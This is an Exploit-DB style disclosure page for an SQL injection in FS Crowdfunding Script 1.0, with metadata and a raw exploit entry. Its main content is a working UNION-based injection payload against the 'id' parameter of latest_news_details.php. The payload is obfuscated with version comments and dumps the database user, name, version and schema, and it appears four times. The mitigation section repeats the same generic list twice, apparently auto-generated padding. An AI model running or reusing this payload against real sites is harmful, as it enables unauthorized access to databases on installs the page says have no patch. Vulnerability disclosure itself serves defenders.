FS Crowdfunding Script 1.0 - SQL Injection

vendor:

FS Crowdfunding Script

by:

Ihsan Sencan

N/A

CVSS

N/A

SQL Injection

CWE

Product Name: FS Crowdfunding Script

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:fortunescripts:fs_crowdfunding_script:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2017

FS Crowdfunding Script 1.0 – SQL Injection

The vulnerability allows an attacker to inject sql commands.... Proof of Concept: http://localhost/[PATH]/latest_news_details.php?id=[SQL] -4'++UNION+ALL+SELECT+1,2,3,4,5,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+- http://server/latest_news_details.php?id=-4'++UNION+ALL+SELECT+1,2,3,4,5,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-

Mitigation:

Input validation and sanitization, use of prepared statements, use of stored procedures, use of parameterized queries, use of least privilege accounts, use of web application firewalls, use of secure coding practices, use of secure authentication and authorization mechanisms, use of secure session management mechanisms, use of secure encryption algorithms, use of secure communication protocols, use of secure data storage mechanisms, use of secure logging mechanisms, use of secure access control mechanisms, use of secure error handling mechanisms, use of secure configuration management mechanisms, use of secure patch management mechanisms, use of secure network segmentation mechanisms, use of secure authentication mechanisms, use of secure authorization mechanisms, use of secure session management mechanisms, use of secure encryption algorithms, use of secure communication protocols, use of secure data storage mechanisms, use of secure logging mechanisms, use of secure access control mechanisms, use of secure error handling mechanisms, use of secure configuration management mechanisms, use of secure patch management mechanisms, use of secure network segmentation mechanisms.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: FS Crowdfunding Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/crowdfunding-script/
# Demo: http://crowdfunding.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/latest_news_details.php?id=[SQL]
# 
# -4'++UNION+ALL+SELECT+1,2,3,4,5,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
# 
# http://server/latest_news_details.php?id=-4'++UNION+ALL+SELECT+1,2,3,4,5,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
# 
# # # # #